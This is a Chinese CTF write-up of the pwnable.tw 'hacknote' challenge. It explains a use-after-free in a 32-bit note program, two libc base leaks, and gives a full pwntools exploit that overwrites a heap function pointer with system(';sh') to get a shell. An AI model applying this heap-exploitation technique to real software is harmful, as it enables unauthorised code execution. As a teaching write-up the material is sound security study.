和媳妇一起学Pwn 之 hacknote

本题可以申请任意大小的堆块,并且在删除时未清空指针数组导致悬空指针,从而产生UAF。利用方式为通过UAF调用一个存在于堆块,并且被一系列堆操作篡改的函数指针,控制流劫持进而getshell。

检查

➜   file hacknote
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
➜   checksec hacknote
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位程序,去符号表

分析

运行发现是菜单题,添加,删除,打印,和上一篇博客paper那道题目很相似,我们发现在删除功能仍然是没有清空指针数组:

unsigned int sub_80487D4()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*(ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

所以很明显是一道UAF的题目,漏洞点仍然是存在悬空指针,并且可以被使用。不过本题的数据结构稍微复杂一点,在每次添加新的note时,存在两次malloc

ptr[i] = malloc(8u);
if ( !ptr[i] )
{
    puts("Alloca Error");
    exit(-1);
}
*ptr[i] = sub_804862B;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size);

每个note对于ptr指针数组中的一项,指针指向一个8个字节的空间,前4个字节为一个sub_804862B函数的地址,后4个字节为数据空间的地址。在打印数据时做出如下调用:

(*ptr[v1])(ptr[v1]);

其中便调用了sub_804862B函数,此函数如下:

int __cdecl sub_804862B(int a1)
{
  return puts(*(a1 + 4));
}

很奇怪的操作吧,直接打印不好么?其实这也正是本题利用的思路,存在一个可以通过UAF控制的函数指针。相关数据结构大致结构如下:

                 +--------------------+
                 |                    |
                 |      ptr           |
                 |                    |
                 +---------+----------+
                           |
                           |
                           |
                           |
                           v
                 +---------+----------+--------------------+
                 |                    |                    |
malloc(8)        |    0x0804862b      |  content_addr      |
                 |                    |                    |
                 +---------+----------+-----------------+--+
                           |                            |
                           |                            |
                           |                            |
                           |                            |
                           v                            v
                 +---------+----------+          +------+-------------+
                 |                    |          |                    |
                 |   sub_804862B      |          |   note content     |  malloc(x)
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 |                    |          |                    |
                 +--------------------+          +--------------------+

利用

泄露libc

这题附件给了libc,而且分析也没有后门函数,所以首先肯定需要泄露libc基址。参考WP有以下两种方式泄露libc基址

  1. 申请unsortbin范围的堆块,释放后重新申请到,即可打印出main_arena地址
  2. puts出got表地址

unsortbin泄露libc基址

32位程序最大申请的fastbin的数据大小为60,所以我们申请一个64字节大小,然后free掉,就能让这个堆块加入到unsortbin的链表中。不过在free之前,还需要申请一个堆块,任意大小即可,仅仅是为了将刚才申请的堆块和topchunk隔开,防止合并,这里我们采用32字节的堆块进行隔离。所以步骤如下:

  1. 申请一个64字节的堆块
  2. 申请一个32字节的堆块
  3. 释放第一个堆块
gef  heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
    [0x0804b008     00 00 00 00 18 b0 04 08 00 00 00 00 49 00 00 00    ............I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
    [0x0804b018     b0 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00    .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=)
    [0x0804b060     2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00    +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
    [0x0804b070     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE)    top chunk
gef  heap bins
[+] No Tcache in this version of libc
──────────────────────────────────────────────────────────────────────────────── Fastbins for arena 0xf7fb2780 ────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x8]    Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE) 
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
───────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ─────────────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x804b010, bk=0x804b010
    Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
────────────────────────────────────────────────────────────────────────────── Small Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
────────────────────────────────────────────────────────────────────────────── Large Bins for arena 'main_arena' ──────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.

我们可以看到第二个堆块的确进入了unsortbin链表中,不过这有啥用呢?我们来看一下这个堆块的内存:

gef  x /8wx 0x804b010
0x804b010:	0x00000000	0x00000049	0xf7fb27b0	0xf7fb27b0
0x804b020:	0x00000000	0x00000000	0x00000000	0x00000000

可以看到这个堆块的fd和bk指向同一个地方,即0xf7fb27b0,这个位置就是位于libc的main_arena结构体中,那我们如何不通过调试把这个地址打印出来呢?只需要再次申请64字节的堆块,内容长度不要覆盖bk,然后调用print功能,打印0号或2号,就能把fd和bk的内容打印出来了:

gef  heap chunks
Chunk(addr=0x804b008, size=0x10, flags=PREV_INUSE)
    [0x0804b008     2b 86 04 08 18 b0 04 08 00 00 00 00 49 00 00 00    +...........I...]
Chunk(addr=0x804b018, size=0x48, flags=PREV_INUSE)
    [0x0804b018     0a 27 fb f7 b0 27 fb f7 00 00 00 00 00 00 00 00    .'...'..........]
Chunk(addr=0x804b060, size=0x10, flags=PREV_INUSE)
    [0x0804b060     2b 86 04 08 70 b0 04 08 00 00 00 00 29 00 00 00    +...p.......)...]
Chunk(addr=0x804b070, size=0x28, flags=PREV_INUSE)
    [0x0804b070     31 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00    1...............]
Chunk(addr=0x804b098, size=0x20f70, flags=PREV_INUSE)    top chunk
gef  c
Continuing.
----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :3
Index :2

这里出现一些十六进制的乱码就是打印出来的地址去后四个字节就是泄露出来地址

因为我们可以看到ptr数组,0号和2号是指向同一个堆块,因为0号free的时候没有堆ptr数组进行清空

gef  telescope 0x0804A050
0x0804a050+0x0000: 0x0804b008    0x0804862b     push ebp
0x0804a054+0x0004: 0x0804b060    0x0804862b     push ebp
0x0804a058+0x0008: 0x0804b008    0x0804862b     push ebp
本地偏移

那么这个位置和libc的基址差多远呢?不同的libc版本下可能是不一样的,在本地的情况下我们看一下vmmap就好了:

0xf7e00000 0xf7fb0000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so

即:0xf7fb27b0 - 0xf7e00000 = 0x1b27b0

远程偏移

简单的说,unsortbin距离main_arena的偏移是固定的+0x30,main_arena是堆管理器实现的过程中的一个结构体,位于libc的数据段,可以通过在IDA中观察对应libc的malloc_trim()函数f5后的结果即可获得main_arena距离libc的起始偏移,而不同版本的libc也正是main_arena距离libc的基址偏移是不同的。本题给的libc中找到地址0x1b0780,加上0x30,最终的结果为0x1b07b0。偏移的具体值0x30我们可以计算得到,下面是malloc_state结构体的定义,bins数组后续部分进行了省略:

struct malloc_state {
    __libc_lock_define(, mutex);
    int flags;
    mfastbinptr fastbinsY[ NFASTBINS ];
    mchunkptr top;
    mchunkptr last_remainder;
    mchunkptr bins[ NBINS * 2 - 2 ];
    ...
};

unsortbin的fd和bk就是bins[0]和bins[1],所以泄露的指针是指向unsortbin的pre_size的地址:

image

在32位下,也就是bins前面的8个字节处,即应该是top这个变量的地址,这个变量距离这个结构体的起始地址是多少呢?top前面有三个东西:

__libc_lock_define(, mutex);
int flags;
mfastbinptr fastbinsY[ NFASTBINS ];

根据如下定义,知道mutex是个无符号整型,占4个字节,

typedef unsigned int __libc_lock_t;

#define __libc_lock_define(CLASS,NAME) \
  CLASS __libc_lock_t NAME;

在根据定义算出MAX_FAST_SIZE是10,所以fastbinsY这个数组总共是40字节

#define NFASTBINS (fastbin_index(request2size(MAX_FAST_SIZE)) + 1)

#define MAX_FAST_SIZE (80 * SIZE_SZ / 4)

#define request2size(req)                                                      \
    (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)                           \
         ? MINSIZE                                                             \
         : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

#define fastbin_index(sz)                                                      \
    ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)         

flag是个整型,占4个字节,加一起总共48个字节,即0x30:

image

但是这里好像有悖于经验,在gef调试窗口里只能看到7个fastbin的数组,所以fastbin是开了10个,只用了7个么?这里我还不知道,不过从超哥上课的课件,也好像是这个意思:

image

注意:通过unsortbin的这种方式,还没有利用UAF漏洞,就获得了libc的基址

puts出got表地址

这种方式其实就是通过UAF和题目给出的那个怪异的函数指针调用相结合,也就是劫持控制流的方法。首先申请大于最小的fastbin(0xc)的两个note,然后分别释放,因为这里都会malloc出那个数据空间为8个字节的最小堆块,释放后这两块都会加入到fastbin中。然后申请一个8个字节的note,这时就会把刚才释放的两块fastbin给用了,于是原来的第一个fastbin的堆块就完全可控了,show这个堆块的时候就会调用其前四个字节的函数指针,这样就可以泄露GOT地址,进而泄露libc基址了,步骤如下:

  1. 申请2个note,size大于0xc即可
  2. 释放这两个note
  3. 申请8个字节note,内容为p32(0x804862B) + p32(elf.got[‘puts’])
  4. show(0)

执行完第三步后,chunk信息如下:

gef  heap chunks
Chunk(addr=0xa021008, size=0x10, flags=PREV_INUSE)
    [0x0a021008     2b 86 04 08 24 a0 04 08 00 00 00 00 29 00 00 00    +...$.......)...]
Chunk(addr=0xa021018, size=0x28, flags=PREV_INUSE)
    [0x0a021018     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0xa021040, size=0x10, flags=PREV_INUSE)
    [0x0a021040     2b 86 04 08 08 10 02 0a 00 00 00 00 29 00 00 00    +...........)...]
Chunk(addr=0xa021050, size=0x28, flags=PREV_INUSE)
    [0x0a021050     10 10 02 0a 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0xa021078, size=0x20f90, flags=PREV_INUSE)    top chunk

所以执行show(0)时,就可以打印出puts函数的地址,进而泄露libc基址

控制流劫持

刚才通过puts出got表地址泄露出libc基址的方式就是控制流劫持,所以这里我们采用unsortbin泄露基址之后来继续完成控制流劫持。

  1. 继续unsortbin泄露的步骤
  2. 释放掉前两个note
  3. 申请8个字节note,p32(system_addr)+”;sh\x00”
  4. show(0)

即可执行system("&system;sh"),前面代表了system函数地址,对应到字符串是无意义的,所以前面会执行失败,通过分号之后面的sh,因为是用的system函数,所以”/bin”这个目录是在环境变量中,所以直接执行sh就可以getshell了。

exp

通过堆的一系列操作泄露出了libc基址,然后又通过堆的另一系列操作更改了堆块中的一个函数指针,通过UAF漏洞进行对该函数指针进行调用,即可利用成功:

  • 堆操作
  • UAF触发
from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./hacknote")
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw",10102)

def add(size,content):
	io.recvuntil("choice :")
	io.sendline("1")
	io.recvuntil("size :")
	io.sendline(str(size))
	io.recvuntil("Content :")
	io.sendline(content)
def delete(num):
	io.recvuntil("choice :")
	io.sendline("2")
	io.recvuntil("Index :")
	io.sendline(str(num))
def show(num):
	io.recvuntil("choice :")
	io.sendline("3")
	io.recvuntil("Index :")
	io.sendline(str(num))

add(64,"")
add(32,"")
delete(0)
add(64,"")
show(2)

libc_base = u32(io.recv(8)[4:8])-0x1b07b0
system_addr = libc_base + libc.symbols['system']

delete(0)
delete(1)
add(8,p32(system_addr)+";sh\x00")
show(0)
io.interactive()